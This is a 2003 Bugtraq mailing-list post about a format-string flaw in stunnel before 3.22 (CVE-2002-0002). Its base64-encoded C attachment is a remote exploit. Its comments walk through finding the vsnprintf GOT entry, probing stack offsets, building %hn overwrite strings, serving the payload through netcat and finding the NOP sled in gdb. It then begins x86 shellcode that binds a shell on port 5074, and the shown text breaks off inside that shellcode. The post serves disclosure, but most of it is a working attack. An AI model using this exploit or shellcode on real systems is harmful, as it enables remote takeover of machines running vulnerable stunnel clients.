|
Date: Wed, 15 Jan 2003 11:26:58 +0200 From: Darell Esfandia <deltha@analog.ro> To: bugtraq@securityfocus.com, vuldb@securityfocus.com Subject: stunnel - exploit --------------239D435348F11EE4DE72DE74 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, I attached an exploit for: http://online.securityfocus.com/bid/3748/info/ bugtraq id 3748 object class Input Validation Error cve CVE-2002-0002 remote Yes local No published Dec 22, 2001 updated Jan 17, 2002 vulnerable Stunnel Stunnel 3.20 + MandrakeSoft Linux Mandrake 8.1 + MandrakeSoft Linux Mandrake 8.1 ia64 Stunnel Stunnel 3.15 Stunnel Stunnel 3.16 Stunnel Stunnel 3.17 Stunnel Stunnel 3.18 Stunnel Stunnel 3.19 + RedHat Linux 7.2 i386 + RedHat Linux 7.2 ia64 Stunnel Stunnel 3.21 c Stunnel Stunnel 3.21 b Stunnel Stunnel 3.21 a Stunnel Stunnel 3.21 not vulnerable Stunnel Stunnel 3.22 Credit: This vulnerability was originally discovered by Matthias Lange <ml@netuse.de>, and announced via Bugtraq by Brian Hatch <bugtraq@ifokr.org> on December 27, 2001. References: Advisory: MDKSA-2002:004: stunnel (Mandrake) Advisory: RHSA-2002:002-10: Updated stunnel packages available. (RedHat) Message: Stunnel: Format String Bug in versions <3.22 Message: Stunnel: Format String Bug update --------------239D435348F11EE4DE72DE74 Content-Type: application/x-unknown-content-type-c_auto_file; name="w00nf-stunnel.c" Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="w00nf-stunnel.c" LyoKICogU3R1bm5lbCA8IDMuMjIgcmVtb3RlIGV4cGxvaXQKICogYnkgXnNxL3cwMG5mIC0g ZGVsdGhhIFthdF0gYW5hbG9nLnJvCiAqIENvbnRhY3Q6IGRlbHRoYUBhbmFsb2cucm8KICog V2VicGFnZTogaHR0cDovL3d3dy53MDBuZi5vcmcvXnNxLwogKgogKiBleSAuL3cwMG5mLXN0 dW5uZWwgY29udHJpYnMgLSBrZXdsdGhhbnggOgogKiBuZXNlY3Rpbywgd3N4eiwgc29sZXRh cmlvLCBzcGFjZXdhbGtlciwgcm9iaW4sIGx1Y2t5Ym95LCBoYXNoLCBub2JvZHksIGFjMWQs IGFuZCBub3QgQCB0aGUgZW5kOiBiYWprZXJvCiAqCiAqIFlvdSBhbHNvIG5lZWQgbmV0Y2F0 IGFuZCBmb3JtYXQgc3RyaW5ncyBidWlsZCB1dGlsaXR5IChmcm9tIG15IHdlYnBhZ2UpCiAq IENvbXBpbGU6IGdjYyAtdyAtbyB3MDBuZi1zdHVubmVsIHcwMG5mLXN0dW5uZWwuYwogKgog KiAgIC4gICAuICAuLiAuLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u LiAuLi4KICogIC4gICAgICAgICAgICAgICAgICAgICAgICAgX19fXyAgX19fXyAgICAgICAg X19fX18gICAgICAgIDouOi46CiAqICA6ICAgICAgICAgICAgICAgXyAgICAgIF9fLyBfXyBc LyBfXyBcX19fXyAgLyBfXy8gICAgICAgICAgIDouLgogKiAgOi4uICAgICAgICAgICAgfCB8 IC98IC8gLyAvIC8gLyAvIC8gLyBfXyBcLyAvXyAgICAgICAgICAgICAgIDoKICogIC4uOi4u ICAgICAgICAgIHwgfC8gfC8gLyAvXy8gLyAvXy8gLyAvIC8gLyBfXy8gICAgICAgICAgICAg ICA6CiAqICA6LjogOi4uICAgICAgICB8X18vfF9fL1xfX19fL1xfX19fL18vIC9fL18vICAg ICAgICAgICAgICAgICAgLgogKiAgOiA6ICAgOi4uCiAqICA6LjogOi4uLi4uLi4uLi4uLi4u Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uIC4uICAuICAgLiAKICogICAgICAg ICAgICAgICAgICAgICAgICAgICBUIC4gRSAuIEEgLiBNICAgICAgCiAqIAogKiBQT0MgLSBU ZXN0ZWQgcmVtb3RlbHkgb24gbGludXggCiAqIFN0dW5uZWwgaXMgYSBwcm9ncmFtIHRoYXQg YWxsb3dzIHlvdSB0byBlbmNyeXB0IGFyYml0cmFyeSBUQ1AgY29ubmVjdGlvbnMgaW5zaWRl IFNTTCAKICogVmlzaXQgaHR0cDovL3d3dy5zdHVubmVsLm9yZyBmb3IgZGV0YWlscwogKgog KiBJIGRpZG4ndCBhZGQgYSBzZWFyY2ggZnVuY3Rpb24gb3IgYnJ1dGVmb3JjZSBhdHRhY2sg YmVjYXVzZSB0aGUgdnVsbmVyYWJpbGl0eSBkb2VzJ250IGFsbG93IHlvdQogKiB0byBncmFi IHRoZSByZW1vdGUgc3RhY2suCiAqCiAqIERlc2NyaXB0aW9uIG9mIHRoaXMgZXhwbG9pdDoK ICogVGhpcyBleHBsb2l0IHB1dHMgYSBwYXlsb2FkIG9uIGEgc3BlY2lmaWVkIHBvcnQuIFdo ZW4gYSByZW1vdGUgdXNlciBjb25uZWN0cyB0byB5b3VyIG1hY2hpbmUgCiAqIHVzaW5nIHN0 dW5uZWwgb24gdGhlIHNwZWNpZmllZCBwb3J0LCB0aGUgZXhwbG9pdCBleGVjdXRlcyB0aGlz IHBheWxvYWQgYW5kIGJpbmRzIGEgc2hlbGwgdG8gdGhlCiAqIHJlbW90ZSB1c2VycyBtYWNo aW5lIG9uIHBvcnQgNTA3NC4KICogCiAqIFN1bW1hcnk6IAogKiBNYWxpY2lvdXMgc2VydmVy cyBjb3VsZCBwb3RlbnRpYWxseSBydW4gY29kZSBhcyB0aGUgb3duZXIgb2YgYW4gU3R1bm5l bCBwcm9jZXNzIHdoZW4gdXNpbmcgCiAqIFN0dW5uZWwncyBwcm90b2NvbCBuZWdvdGlhdGlv biBmZWF0dXJlIGluIGNsaWVudCBtb2RlLiAKICoKICogRGVzY3JpcHRpb24gb2YgdnVsbmVy YWJpbGl0eTogCiAqIFN0dW5uZWwgaXMgYW4gU1NMIHdyYXBwZXIgYWJsZSB0byBhY3QgYXMg YW4gU1NMIGNsaWVudCBvciBzZXJ2ZXIsIAogKiBlbmFibGluZyBub24tU1NMIGF3YXJlIGFw cGxpY2F0aW9ucyBhbmQgc2VydmVycyB0byB1dGlsaXplIFNTTCBlbmNyeXB0aW9uLiAKICog SW4gYWRkaXRpb24sIFN0dW5uZWwgaGFzIHRoZSBhYmlsaXR5IHRvIHBlcmZvcm0gYXMgc2lt cGxlIFNTTCBlbmNyeXB0aW9uL2RlY3J5cHRpb24gCiAqIGVuZ2luZS4gU3R1bm5lbCBjYW4g bmVnb3RpYXRlIFNTTCB3aXRoIHNldmVyYWwgb3RoZXIgcHJvdG9jb2xzLCBzdWNoIGFzIAog KiBTTVRQJ3MgIlNUQVJUVExTIiBvcHRpb24sIHVzaW5nIHRoZSAnLW4gcHJvdG9jb2xuYW1l JyBmbGFnLiBEb2luZyBzbyAKICogcmVxdWlyZXMgdGhhdCBTdHVubmVsIHdhdGNoZXMgdGhl IGluaXRpYWwgcHJvdG9jb2wgaGFuZHNoYWtlIGJlZm9yZSAKICogYmVnaW5uaW5nIHRoZSBT U0wgc2Vzc2lvbi4gCiAqIFRoZXJlIGFyZSBmb3JtYXQgc3RyaW5nIGJ1Z3MgaW4gZWFjaCBv ZiB0aGUgc210cCwgcG9wLCBhbmQgbm50cCAKICogY2xpZW50IG5lZ290aWF0aW9ucyBhcyBz dXBwbGllZCB3aXRoIFN0dW5uZWwgdmVyc2lvbnMgMy4zIHVwIHRvIDMuMjFjLiAKICoKICog Tm8gZXhwbG9pdCBpcyBjdXJyZW50bHkga25vd24sIGJ1dCB0aGUgYnVncyBhcmUgbW9zdCBs aWtlbHkgZXhwbG9pdGFibGUuIAogKiAKICogSW1wYWN0OiAKICogSWYgeW91IHVzZSBTdHVu bmVsIHdpdGggdGhlICctbiBzbXRwJywgJy1uIHBvcCcsICctbiBubnRwJyBvcHRpb25zIAog KiBpbiBjbGllbnQgbW9kZSAoJy1jJyksIGEgbWFsaWNvdXMgc2VydmVyIGNvdWxkIGFidXNl IHRoZSBmb3JtYXQgCiAqIHN0cmluZyBidWcgdG8gcnVuIGFyYml0cmFyeSBjb2RlIGFzIHRo ZSBvd25lciBvZiB0aGUgU3R1bm5lbCAKICogcHJvY2Vzcy4gVGhlIHVzZXIgdGhhdCBydW5z IFN0dW5uZWwgZGVwZW5kcyBvbiBob3cgeW91IHN0YXJ0IAogKiBTdHVubmVsLiBJdCBtYXkg b3IgbWF5IG5vdCBiZSByb290IC0tIHlvdSB3aWxsIG5lZWQgdG8gY2hlY2sgCiAqIGhvdyB5 b3UgaW52b2tlIFN0dW5uZWwgdG8gYmUgc3VyZS4gCiAqIFRoZXJlIGlzIG5vIHZ1bG5lcmFi aWxpdHkgdW5sZXNzIHlvdSBhcmUgaW52b2tpbmcgU3R1bm5lbCB3aXRoIAogKiB0aGUgJy1u IHNtdHAnLCAnLW4gcG9wJywgb3IgJy1uIG5udHAnIG9wdGlvbnMgaW4gY2xpZW50IG1vZGUu IAogKiBUaGVyZSBhcmUgbm8gZm9ybWF0IHN0cmluZyBidWdzIGluIFN0dW5uZWwgd2hlbiBp dCBpcyBydW5uaW5nIGFzIGFuIFNTTCAKICogc2VydmVyLiAKICoKICogTWl0aWdhdGluZyBm YWN0b3JzOiAKICogSWYgeW91IHN0YXJ0IFN0dW5uZWwgYXMgcm9vdCBidXQgaGF2ZSBpdCBj aGFuZ2UgdXNlcmlkIHRvIHNvbWUgb3RoZXIgCiAqIHVzZXIgdXNpbmcgdGhlICctcyB1c2Vy bmFtZScgb3B0aW9uLCB0aGUgU3R1bm5lbCBwcm9jZXNzIHdpbGwgYmUgCiAqIHJ1bm5pbmcg YXMgJ3VzZXJuYW1lJyBpbnN0ZWFkIG9mIHJvb3Qgd2hlbiB0aGlzIGJ1ZyBpcyB0cmlnZ2Vy ZWQuIAogKiBJZiB0aGlzIGlzIHRoZSBjYXNlLCB0aGUgYXR0YWNrZXIgY2FuIHN0aWxsIHRy aWNrIHlvdXIgU3R1bm5lbCBwcm9jZXNzIAogKiBpbnRvIHJ1bm5pbmcgY29kZSBhcyAndXNl cm5hbWUnLCBidXQgbm90IGFzIHJvb3QuIAogKiBXaGVyZSBwb3NzaWJsZSwgd2Ugc3VnZ2Vz dCBydW5uaW5nIFN0dW5uZWwgYXMgYSBub24tcm9vdCB1c2VyLCBlaXRoZXIgCiAqIHVzaW5n IHRoZSAnLXMnIG9wdGlvbiBvciBzdGFydGluZyBpdCBhcyBhIG5vbi1wcml2aWxlZ2VkIHVz ZXIuIAogKgogKiBUcmlnZ2VyaW5nIHRoaXMgdnVsbmVyYWJpbGl0eSAtIGV4YW1wbGUgZm9y IGtpZHo6CiAqIE9idGFpbiBhIHNoZWxsIGFjY291bnQgb24gdG8tYmUtaGFja2VkJ3Mgc2Vy dmVyIGFuZCBwZXJmb3JtIHRoZSBmb2xsb3dpbmcgY29tbWFuZHM6CiAqIHNxQGNhbDAxMzEw Mjogd2hlcmVpcyBzdHVubmVsCiAqIHN0dW5uZWw6IC91c3Ivc2Jpbi9zdHVubmVsCiAqIGNo YW5nZSBkaXJlY3RvcnkgdG8gd2hlcmUgaXMgc3R1bm5lbAogKiBPYnRhaW4gdnNucHJpbnRm J3MgUl8zODZfSlVNUF9TTE9UOgogKiBzcUBjYWwwMTMxMDI6fi9zdHVubmVsLTMuMjAkIC91 c3IvYmluL29iamR1bXAgLS1keW5hbWljLXJlbG9jIC4vc3R1bm5lbCB8Z3JlcCBwcmludGYK ICogMDgwNTM0NzAgUl8zODZfSlVNUF9TTE9UICAgZnByaW50ZgogKiAtLS0tPjA4MDUzNGE4 IFJfMzg2X0pVTVBfU0xPVCAgIHZzbnByaW50ZgogKiAwODA1MzVhNCBSXzM4Nl9KVU1QX1NM T1QgICBzbnByaW50ZgogKiAwODA1MzYyMCBSXzM4Nl9KVU1QX1NMT1QgICBzcHJpbnRmCiAq IG9wZW4gMiB0ZXJtaW5hbHMKICogaW4gdGhlIGZpcnN0IHRlcm1pbmFsIG1ha2UgbmV0Y2F0 IGNvbm5lY3QgdG8gYSBwb3J0IChlZyAyNTI1MjUpCiAqIHNxQGNhbDAxMzEwMjp+L3N0dW5u ZWwtMy4yMCQgbmMgLXAgMjUyNTI1IC1sIAogKiBpbiB0aGUgc2Vjb25kIHRlcm1pbmFsIChy ZW1vdGUpIHNpbXVsYXRlIGF0dGFjayAKICogLi9zdHVubmVsIC1jIC1uIHNtdHAgLXIgbG9j YWxob3N0OjI1MjUyNQogKiBpbiB0aGUgZmlyc3QgdGVybWluYWwgd2l0aCBuYyBpbnNlcnQg YSBzcGVjaWFsbHkgY3JhZnRlZCBzdHJpbmcgdG8gZ3JlcCBlYXRzdGFjayB2YWx1ZQogKiBB QUFBQkJCQiV4fCV4fCV4fCV4fCV4fCV4fCV4fCV4fCV4fCV4fCV4fCV4fCV4fCV4fCV4fCV4 fAogKiBpbiB0aGUgc2Vjb25kIHRlcm1pbmFsIChyZW1vdGUpIGl0IHdpbGwgcmV0dXJuIHRo ZSBzdGFjayB2YWx1ZXMgYW5kIHNlZSBhdCB3aGljaCBwb3NpdGlvbiAKICogNDE0MTQxNDEg YW5kIDQyNDI0MiBhcHBlYXJlZAogKiBBQUFBQkJCQnxiZmZmZjg2OHxiZmZmZmI2MHxiZmZm ZmVjZXxiZmZmZmVkM3w4MDUwM2FlfDQwMjc1NTgwfDQwMTZiZmM0fAogKiA0MDI3ZjNjNHw0 MTQxNDE0MXw0MjQyNDI0MnwyNTdjNzgyNXw3ODI1N2M3OHw3Yzc4MjU3Y3wKICogMjU3Yzc4 MjV8NzgyNTdjNzh8N2M3ODI1N2N8IC0+NDE0MTQxPTkgYW5kIDQyNDI0Mj0xMAogKiB0cnkg YWdhaW4gd2l0aCB0byBzZWUgaWYgZWF0c3RhY2sgdmFsdWUgaXMgOSBBQUFBQkJCQiU5JHgl MTAkeCBhbmQgaXQgd2lsbCByZXR1cm4gQUFBQUJCQkI0MTQxNDE0MTQyNDI0MjQyCiAqIHB1 dCB0aGUgYWRkcmVzcyBvYnRhaW5lZCB3aXRoIG9iamR1bXAgaW4gaGV4IGxpdHRsZSBlbmRp YW4gZm9ybWF0IFx4YThceDM0XHgwNVx4MDggYW5kIGxhc3QgdmFsdWUgKzIgXHhhYVx4MzRc eDA1XHgwOAogKiAoYTgrMj1hYSkgYW5kIGdlbmVyYXRlIHRoZSBkZWNpbWFsIHZhbHVlIG9m IGZvcm1hdCBzdHJpbmcgYWZ0ZXIgeW91IGdvdCB0aGUgbWlkZGxlIG9mIG5vcHMgdmFsdWUg b24gc3RhY2sgMHhiZmZmZjg5YgogKiB3aXRoIGJ1aWxkLCBhIHByb2dyYW0gYXR0YWNoZWQg dG8gdGhpcyBleHBsb2l0LgogKiAuL2J1aWxkIDA4MDUzNGE4IDB4YmZmZmY4OWIgOQogKiBh ZHIgOiAxMzQ1NTg4ODggKDgwNTM0YTgpCiAqIHZhbCA6IC0xMDczNzQzNzE3IChiZmZmZjg5 YikKICogdmFsaDogNDkxNTEgKGJmZmYpCiAqIHZhbGw6IDYzNjQzIChmODliKQogKiBbqqgl LjQ5MTQzeCU5JGhuJS4xNDQ5MnglMTAkaG5dICgzNSkKICogqqglLjQ5MTQzeCU5JGhuJS4x NDQ5MnglMTAkaG4KICogVGhlIHJlc3VsdGluZyBzdHJpbmcgaXMgJS40OTE0M3glOSRobiUu MTQ0OTJ4JTEwJGhuIC0+IAogKiAiJ2AlLjMyNzU5dSU5XCRobiUuMzIxOTd1JTEwXCRobiBy ZXBsYWNlIGVhdHN0YWNrIDEwIHdpdGggOSBvdGhlcndpc2UgaXQgd29uJ3Qgd29yawogKiBl ZyAiJ2AlLjMyNzU5dSUxMFwkaG4lLjMyMTk3dSU5XCRobgogKiBQdXQgdGhlIHBheWxvYWQg aW4gYSBmaWxlIGVjaG8gYHBlcmwgLWUgJ3ByaW50ICJceGM0XHgzNVx4MDVceDA4XHhjNlx4 MzVceDA1XHgwOCInYCUuMzI3NTl1JTEwXCRobiUuMzIxOTd1JTlcJGhuID4geAogKiBCaW5k IHRoZSBwYXlsb2FkIHRvIGEgcG9ydCAuL25ldGNhdCAtcCAyNTI1MjUgLWwgPHgKICogU2lt dWxhdGUgdGhlIHBheWxvYWQgYXR0YWNrIC4vc3R1bm5lbCAtYyAtbiBzbXRwIC1yIGxvY2Fs aG9zdDoyNTI1MjUKICogQWRkIHlvdXIgb3duIGNyYWZ0ZWQgZm9ybWF0IGluIHRoZSBleHBs b2l0OgogKiBjaGFyIGZtdERFQklBTjMwW109Ilx4YThceDM0XHgwNVx4MDhceGFhXHgzNFx4 MDVceDA4JS40OTE0M3glMTBcJGhuJS4xNDQ5MnglOVwkaG4iOyAwODA1MzRhOCB2c25wcmlu dGYKICogY2hhciBmbXRZT1VST1dOW109IiI7ICAgUl8zODZfSlVNUF9TTE9UICB2c25wcmlu dGYgCiAqIFNpbXVsYXRlIHRoZSBwYXlsb2FkIGF0dGFjayB3aXRoIHRoaXMgZXhwbG9pdCAu L3cwMG5mLXN0dW5uZWwgLXQgNiAtcCAyNTI1MjUgdDYgd291bGQgYmUgeW91ciBjdXN0b20g cGF5bG9hZAogKiBhZnRlciB5b3UgYWRkZWQgeW91ciBzdHJpbmcgaW4gdGhlIGV4cGxvaXQu CiAqIElmIHN0dW5uZWwgd2FzIGNvbXBpbGVkIHdpdGggZ2RiIHN1cHBvcnQgYW5kIHlvdSBz ZXQgdWxpbWl0IC1jIDkwMjQgb3Igd2hhdGV2ZXIgdG8gY29yZWR1bXAgb24geW91ciB0ZXJt aW5hbAogKiB0aGVuIHN0dW5uZWwgd2lsbCBjb3JlZHVtcCBpZiB5b3UgZGlkbid0IGd1ZXNz IHRoZSBleGFjdCBzdGFja3ZhbHVlIGluIHRoZSBtaWRkbGUgb2Ygbm9wcy4KICogSWYgc3R1 bm5lbCB3YXNuJ3QgY29tcGlsZWQgd2l0aCBnZGIgc3VwcG9ydCB0aGVuIGRvd25sb2FkIGl0 IGZyb20gdGhlIHN0dW5uZWwgd2Vic2l0ZQogKiBhbmQgY29tcGlsZSB3aXRoIGdkYiBzdXBw b3J0LiAKICogT25jZSB5b3UgaGF2ZSBkb3dubG9hZGVkIGl0IHJ1biAnLi9jb25maWd1cmUg ZWRpdCBNYWtlZmlsZScgLCBhbmQgd2hlcmUgeW91IHNlZSAnQ0ZMQUdTJyBhZGQgJy1nIC1n Z2RiMycKICogZWcuICdjYXQgTWFrZWZpbGUgfGdyZXAgQ0ZMQUdTJwogKiBDRkxBR1M9LWcg LWdnZGIzIC1PMiAtV2FsbCAtSS91c3IvbG9jYWwvc3NsL2luY2x1ZGUgIC1EVkVSU0lPTj1c IjMuMjBcIiAtREhBVkVfT1BFTlNTTD0xIC1Ec3NsZGlyPVwiL3Vzci9sb2NhbC9zc2xcIgog KiAtRFBFTV9ESVI9XCJcIiAtRFJBTkRPTV9GSUxFPVwiL2Rldi91cmFuZG9tXCIgLURTU0xM SUJfQ1M9MCAtREhPU1Q9XCJpNTg2LXBjLWxpbnV4LWdudVwiIC1ESEFWRV9MSUJETD0xICAK ICogREhBVkVfTElCUFRIUkVBRD0xIC1ESEFWRV9MSUJVVElMPTEgLURIQVZFX0xJQldSQVA9 MSBldGNldGMKICogT3BlbiBjb3JlIGluIGdkYiBzcUBjYWwwMTMxMDI6fi9zdHVubmVsLTMu MjAkZ2RiIC4vc3R1bm5lbCBjb3JlLjI0MTEKICogeC8xMGkgJGVzcCBhbmQgcHJlc3MgZW50 ZXIgYSBjb3VwbGUgb2YgdGltZXMgdGlsbCB5b3UgZmluZCAnbm9wIG5vcCBub3Agbm9wIG5v cCBub3AnLgogKiBHZXQgdGhlIHN0YWNrIGFkZHJlc3MgaW4gdGhlIG1pZGRsZSBvZiBub3Bz LCAweGJmZmZmODliIGlzIG15IGFkZHJlc3MKICogYW5kIGJ1aWxkICg5IGlzIGVhdHN0YWNr KSBhZ2FpbiB3aXRoIHRoZSAuL2J1aWxkIHV0aWxpdHkKICogUmVidWlsZCBhbmQgcmVwZWF0 LgogKiAuL2J1aWxkIDA4MDUzNGE4IDB4YmZmZmY4OWIgOQogKiBQdXQgdGhlIHBheWxvYWQg aW4gYSBmaWxlIGVjaG8gYHBlcmwgLWUgJ3ByaW50ICJceGM0XHgzNVx4MDVceDA4XHhjNlx4 MzVceDA1XHgwOCInYCUuMzI3NTl1JTEwXCRobiUuMzIxOTd1JTlcJGhuID4geAogKiAuL3cw MG5mLXN0dW5uZWwgLXQgNiAtcCAyNTI1MjUgdDYgaXMgeW91ciBjdXN0b20gcGF5bG9hZCBh bmQgaXQgd2lsbCBiaW5kIGEgc2hlbGwgb24gNTA3NCA6KQogKiBJZiBpdCB3b3JrZWQgdGhl biBhZGQgeW91ciBvd24gY3JhZnRlZCBmb3JtYXQgaW4gdGhlIGV4cGxvaXQKICogY2hhciBm bXRERUJJQU4zMFtdPSJceGE4XHgzNFx4MDVceDA4XHhhYVx4MzRceDA1XHgwOCUuNDkxNDN4 JTEwXCRobiUuMTQ0OTJ4JTlcJGhuIjsgIDA4MDUzNGE4IHZzbnByaW50ZgogKiBjaGFyIGZt dFlPVVJPV05bXT0iXHhhOFx4MzRceDA1XHgwOFx4YWFceDM0XHgwNVx4MDglLjQ5MTQzeCUx MFwkaG4lLjE0NDkyeCU5XCRobiI7ICAgUl8zODZfSlVNUF9TTE9UICB2c25wcmludGYgCiAq CiAqLwoKI2luY2x1ZGUgPGZjbnRsLmg+CiNpbmNsdWRlIDxuZXRkYi5oPgojaW5jbHVkZSA8 c3lzL3N0YXQuaD4KI2luY2x1ZGUgPHN5cy90eXBlcy5oPgojaW5jbHVkZSA8dW5pc3RkLmg+ CiNpbmNsdWRlIDxzdGRpby5oPgojaW5jbHVkZSA8c3RyaW5nLmg+CiNpbmNsdWRlIDxnZXRv cHQuaD4KI2luY2x1ZGUgPHN0ZGxpYi5oPgojaW5jbHVkZSA8bWVtb3J5Lmg+CiNpbmNsdWRl IDxlcnJuby5oPgojaW5jbHVkZSA8c3lzbG9nLmg+CgppbnQgTUFYOwpjaGFyIGxpbnV4c2hl bGxjb2RlW10gPQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyog ICA8cHJpdjhzZWN1cml0eT46IGJpbmRANTA3NCAqLwoJIlx4OTBceDkwXHg5MFx4OTBceDkw IiAgICAgICAgICAvKiAgIG5vcAkgICAgICAgICAgICAgICAgKi8KCSJceDkwXHg5MFx4OTBc eDkwXHg5MCIgICAgICAgICAgLyogICBub3AJCSAgICAgICAgKi8KCSJceDkwXHg5MFx4OTBc eDkwXHg5MCIgICAgICAgICAgLyogICBub3AJICAgICAgICAgICAgICAgICovCgkiXHg5MFx4 OTBceDkwXHg5MFx4OTAiICAgICAgICAgIC8qICAgbm9wCSAgICAgICAgICAgICAgICAqLwoJ Ilx4OTBceDkwXHg5MFx4OTBceDkwIiAgICAgICAgICAvKiAgIG5vcAkgICAgICAgICAgICAg ICAgKi8KCSJceDkwXHg5MFx4OTBceDkwXHg5MCIgICAgICAgICAgLyogICBub3AJICAgICAg ICAgICAgICAgICovCgkiXHg5MFx4OTBceDkwXHg5MFx4OTAiICAgICAgICAgIC8qICAgbm9w CSAgICAgICAgICAgICAgICAqLwoJIlx4OTBceDkwXHg5MFx4OTBceDkwIiAgICAgICAgICAv KiAgIG5vcAkgICAgICAgICAgICAgICAgKi8KCSJceDkwXHg5MFx4OTBceDkwXHg5MCIgICAg ICAgICAgLyogICBub3AJICAgICAgICAgICAgICAgICovCgkiXHg5MFx4OTBceDkwXHg5MFx4 OTAiICAgICAgICAgIC8qICAgbm9wCSAgICAgICAgICAgICAgICAqLwoJIlx4OTBceDkwXHg5 MFx4OTBceDkwIiAgICAgICAgICAvKiAgIG5vcAkgICAgICAgICAgICAgICAgKi8KCSJceDkw XHg5MFx4OTBceDkwXHg5MCIgICAgICAgICAgLyogICBub3AJICAgICAgICAgICAgICAgICov CgkiXHg5MFx4OTBceDkwXHg5MFx4OTAiICAgICAgICAgIC8qICAgbm9wCSAgICAgICAgICAg ICAgICAqLwoJIlx4OTBceDkwXHg5MFx4OTBceDkwIiAgICAgICAgICAvKiAgIG5vcAkgICAg ICAgICAgICAgICAgKi8KCSJceDkwXHg5MFx4OTBceDkwXHg5MFx4OTAiICAgICAJLyogICBu b3AJICAgICAgICAgICAgICAgICovCiAgICAgICAgIlx4MzFceGMwIiAgICAgICAgICAgICAg ICAgICAgICAvKiAgIHhvciAgICAlZWF4LCVlYXggICAgICAgICAgICovCiAgICAgICAgIlx4 NTAiICAgICAgICAgICAgICAgICAgICAgICAgICAvKiAgIHB1c2ggICAlZWF4ICAgICAgICAg ICAgICAgICovCiAgICAgICAgIlx4NDAiICAgICAgICAgICAgICAgICAgICAgICAgICAvKiAg IGluYyAgICAlZWF4ICAgICAgICAgICAgICAgICovCiAgICAgICAgIlx4ODlceGMzIiAgICAg ICAgICAgICAgICAgICAgICAvKiAgIG1vdiAgICAlZWF4LCVlYnggICAgICAgICAgICovCiAg ICAgICAgIlx4NTAiICAgICAgICAgICAgICAgICAgICAgICAgICAvKiAgIHB1c2ggICAlZWF4 ICAgICAgICAgICAgICAgICovCiAgICAgICAgIlx4NDAiICAgICAgICAgICAgICAgICAgICAg ICAgICAvKiAgIGluYyAgICAlZWF4ICAgICAgICAgICAgICAgICovCiAgICAgICAgIlx4NTAi ICAgICAgICAgICAgICAgICAgICAgICAgICAvKiAgIHB1c2ggICAlZWF4ICAgICAgICAgICAg ICAgICovCiAgICAgICAgIlx4ODlceGUxIiAgICAgICAgICAgICAgICAgICAgICAvKiAgIG1v diAgICAlZXNwLCVlY3ggICAgICAgICAgICovCiAgICAgICAgIlx4YjBceDY2IiAgICAgICAg ICAgICAgICAgICAgICAvKiAgIG1vdiAgICAkMHg2NiwlYWwgICAgICAgICAgICovCiAgICAg ICAgIlx4Y2RceDgwIiAgICAgICAgICAgICAgICAgICAgICAvKiAgIGludCAgICAkMHg4MCAg ICAgICAgICAgICAgICovCiAgICAgICAgIlx4MzFceGQyIiAgICAgICAgICAgICAgICAgICAg ICAvKiAgIHhvciAgICAlZWR4LCVlZHggICAgICAgICAgICovCiAgICAgICAgIlx4NTIiICAg ICAgICAgICAgICAgICAgICAgICAgICAvKiAgIHB1c2ggICAlZWR4ICAgICAgICAgICAgICAg ICovCiAgICAgICAgIlx4NjZceDY4XHgxM1x4ZDIiICAgICAgICAgICAgICAvKiAgIHB1c2h3 ICAkMHhkMjEzICAgICAgICAgICAgICovCiAgICAgICAgIlx4NDMiICAgICAgICAgICAgICAg ICAgICAgICAgICAvKiAgIGluYyAgICAlZWJ4ICAgICAgICAgICAgICAgICovCiAgICAgICAg Ilx4NjZceDUzIiAgICAgICAgICAgICAgICAgICAgICAvKiAgIHB1c2ggICAlYnggICAgICAg ICAgICAgICAgICovCiAgICAgICAgIlx4ODlceGUxIiAgICAgICAgICAgICAgICAgICAgICAv KiAgIG1vdiAgICAlZXNwLCVlY3ggICAgICAgICAgICovCiAgICAgICAgIlx4NmFceDEwIiAg ICAgICAgICAgICAgICAgICAgICAvKiAgIHB1c2ggICAkMHgxMCAgICAgICAgICAgICAgICov CiAgICAgICAgIlx4NTEiICAgICAgICAgICAgICAgICAgICAgICAgICAvKiAgIHB1c2ggICAl ZWN4ICAgICAgICAgICAgICAgICovCiAgICAgICAgIlx4NTAiICAgICAgICAgICAgICAgICAg ICAgICAgICAvKiAgIHB1c2ggICAlZWF4ICAgICAgICAgICAgICAgICovCiAgICAgICAgIlx4 ODlceGUxIiAgICAgICAgICAgICAgICAgICAgICAvKiAgIG1vdiAgICAlZXNwLCVlY3ggICAg ICAgICAgICovCiAgICAgICAgIlx4YjBceDY2IiAgICAgICAgICAgICAgICAgICAgICAvKiAg IG1vdiAgICAkMHg2NiwlYWwgICAgICAgICAgICovCiAgICAgICAgIlx4Y2RceDgwIiAgICAg ICAgICAgICAgICAgICAgICAvKiAgIGludCAgICAkMHg4MCAgICAgICAgICAgICAgICovCiAg ICAgICAgIlx4NDAiICAgICAgICAgICAgICAgICAgICAgICAgICAvKiAgIGluYyAgICAlZWF4 ICAgICAgICAgICAgICAgICovCiAgICAgICAgIlx4ODlceDQ0XHgyNFx4MDQiICAgICAgICAg ICAgICAvKiAgIG1vdiAgICAlZWF4LDB4NCglZXNwLDEpICAgICovCiAgICAgICAgIlx4NDMi ICAgICAgICAgICAgICAgICAgICAgICAgICAvKiAgIGluYyAgICAlZWJ4ICAgICAgICAgICAg ICAgICovCiAgICAgICAgIlx4NDMiICAgICAgICAgICAgICAgICAgICAgICAgICAvKiAgIGlu YyAgICAlZWJ4ICAgICAgICAgICAgICAgICovCiAgICAgICAgIlx4YjBceDY2IiAgICAgICAg ICAgICAgICAgICAgICAvKiAgIG1vdiAgICAkMHg2NiwlYWwgICAgICAgICAgICovCiAgICAg ICAgIlx4Y2RceDgwIiAgICAgICAgICAgICAgICAgICAgICAvKiAgIGludCAgICAkMHg4MCAg ICAgICAgICAgICAgICovCiAgICAgICAgIlx4ODNceGM0XHgwYyIgICAgICAgICAgICAgICAg ICAvKiAgIGFkZCAgICAkMHhjLCVlc3AgICAgICAgICAgICovCiAgICAgICAgIlx4NTIiICAg ICAgICAgICAgICAgICAgICAgICAgICAvKiAgIHB1c2ggICAlZWR4ICAgICAgICAgICAgICAg ICovCiAgICAgICAgIlx4NTIiICAgICAgICAgICAgICAgICAgICAgICAgICAvKiAgIHB1c2gg ICAlZWR4ICAgICAgICAgICAgICAgICovCiAgICAgICAgIlx4NDMiICAgICAgICAgICAgICAg ICAgICAgICAgICAvKiAgIGluYyAgICAlZWJ4ICAgICAgICAgICAgICAgICovCiAgICAgICAg 